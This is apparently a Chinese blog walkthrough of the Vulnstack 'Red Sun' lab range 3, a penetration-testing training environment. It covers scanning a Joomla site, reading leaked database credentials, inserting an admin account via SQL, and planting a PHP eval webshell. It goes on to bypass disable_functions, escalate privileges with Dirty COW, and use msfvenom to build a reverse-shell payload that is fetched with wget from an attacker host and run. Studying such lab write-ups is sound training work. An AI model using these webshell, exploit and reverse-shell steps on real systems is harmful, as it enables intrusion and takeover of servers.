红日靶场3

靶场链接:漏洞详情

在虚拟机的网络编辑器中添加两个仅主机网卡

信息搜集
端口扫描

外网机处于网端192.168.1.0/24中,扫描外网IP端口,开放了80 22 3306端口

80端口http服务,可以尝试登录网页

3306端口mysql服务,可以尝试SQL注入,远程连接MySQL等

首先发现80端口网站是个joomla,探测了一下版本,发现是3.9.2版本较高

目录扫描
msf获取joomla cms版本信息

访问/administrator/index.php,发现不是弱密码,爆破也登录不了

在网上搜索,可以利用cms框架的配置文件的路径,看是否有敏感信息泄露

/configuration.php

找到了数据库的用户名和密码 testuser/cvcvgjASD!@,还有数据库名,表名等信息

漏洞利用

利用敏感信息泄露,得到mysql的用户名密码:testuser/cvcvgjASD!@,可以远程连接MySQL数据库,添加用户名密码,成功登录后台,提升了权限。想到3306端口是开启的,有MySQL的用户名密码信息泄露,可以远程登录目标机的数据库,添加一个用户名密码进行登录

拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的

想到可以自己插加密的密码去修改密码,找joomla的修改密码方法,直接加一条数据,根据joomla的官方文档成功的添加一个用户admin2/serect。

帮助文档

#更改用户名和密码:

"方法1:configuration.php文件"

如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。

1。使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。

  1. 下载配置文件。

  2. 打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行

public $root_user='myname';

在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。

  1. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。

此用户现在将是临时的超级管理员。

  1. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。

6.当完成后,务必使用这里的"点击尝试自动"环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。

  1. 使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。

#编辑数据库加入超极管理

"方法1:直接编辑数据库"

如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。

更改数据库中的密码

如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。

Stop hand nuvola.svg.png确定您更改您的密码一旦您重新访问

这些指示將说明如何手动更改密码到Word中 - "secret"

1.导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。

2.找到并单击"添加表_users"在表的列表(注:你可能有一个前缀,jos_,简单地去_users表你的前缀)。

3.点击"浏览"按钮在顶部工具栏。这将显示为该站点设置的所有用户。

4.查找要更改其密码的用户并按该行的编辑图标。

5.将显示允许您编辑密码字段的窗体。复制的意义

d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

6.在密码栏中按下"Go"按钮。phpMyAdmin应该显示消息"受影响的行数:1.此时,密码应改为'secret'。

7.使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。

"方法2:添加新超级管理员使用"

如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。

导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。

按工具栏中的"SQL"按钮在选定的数据库上运行SQL查询。这将显示一个字段名为"Run SQL query/queries on database<您的数据库>"。

删除任何文本在这一领域,复制并粘贴以下查询下面,按下"Go"按钮执行查询和添加新的管理员用户表。

使用下面的SQL查询添加另一个管理员帐户。

Stop hand nuvola.svg.png确保您的数据库表前缀匹配!

下面的代码使用jos31_作为表名的前缀仅是一个示例表前缀。当你第一次安装Joomla的前缀是"random 或你设定的具体过。你需要改变所有发生的jos31_"(你的安装设置前缀)发现,在下面的代码前缀安装使用。

Joomla使用SQL代码 Joomla 2.5 Joomla 3.x Joomla 4.x

INSERT INTO `jos31_users`

(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)

VALUES ('Administrator2', 'admin2',

'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)

VALUES (LAST_INSERT_ID(),'8');

在这一点上,你应该能够登录到Joomla的后端!用用户名和密码"Admin2"的"密码"。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被"黑客攻击",一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。

Stop hand nuvola.svg.pngWarning!

警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。

上面的例子更改密码为"select"。其他两个可能的值如下所示:

  • password = "this is the MD5 and salted hashed password"

  • admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT

  • secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

  • OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

传php木马

点击Bee3 Details and Files

在index.php 文件中 写入一句话木马 <?php eval($_POST['123']); ?>,点击Save

根据扫描的内容,猜测路径是/templates/protostar/index.php

绕dis_func

蚁剑的虚拟终端执行不了命令

通过蚁剑在templates/beez3目录下写一个phpinfo文件

访问/templates/beez3/phpinfo.php

发现 命令执行被禁用

推荐蚁剑插件:

检测永恒之蓝: https://github.com/AntSword-Store/AS_MS17-010_Scan

disable_function绕过:https://github.com/AntSword-Store/as_bypass_php_disable_functions

木马扫描: https://github.com/AntSword-Store/as_trojan_scans

出网探测: https://github.com/AntSword-Store/AS_Out-of-Network

成功绕过并且看见有93的段

在/tmp/mysql看到了账号密码

脏牛提权

使用xftp上传exp,上传到临时文件夹/tmp下

对dirty.c进行编译

gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件,并设置密码

./dirty 123456

su firefart,输入密码123456

提权成功

上线msf

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f elf>r.elf

wget http://192.168.1.102/r.elf

chmod +x r.elf

./r.elf

参考文章:

Vlunstack ATT&CK实战系列------红队实战(三)Writeup - 先知社区

红日安全红队靶场(三)一次简单的内网渗透_红日3靶场-CSDN博客

VulnStack-ATT&CK-3(红日靶场三)_红日靶场3-CSDN博客

https://www.cnblogs.com/hellobao/articles/17247184.html

红日靶场第三关_红日靶场3攻略-CSDN博客

红日靶场3-vulnstack3 | apsry

ATT&CK红队评估(红日靶场三) - FreeBuf网络安全行业门户

相关推荐
newxtc1 小时前
【支付行业-支付系统架构及总结】
安全·支付宝·第三方支付·风控系统·财付通
newxtc2 小时前
【旷视科技-注册/登录安全分析报告】
人工智能·科技·安全·ddddocr
成都古河云2 小时前
智慧场馆:安全、节能与智能化管理的未来
大数据·运维·人工智能·安全·智慧城市
Gworg2 小时前
您与此网站之间建立的连接不安全解决方法
安全
ac-er88883 小时前
MySQL如何实现PHP输入安全
mysql·安全·php
jjyangyou6 小时前
物联网核心安全系列——物联网安全需求
物联网·算法·安全·嵌入式·产品经理·硬件·产品设计
AltmanChan6 小时前
大语言模型安全威胁
人工智能·安全·语言模型
马船长7 小时前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
hikktn14 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
23zhgjx-NanKon16 小时前
华为eNSP:QinQ
网络·安全·华为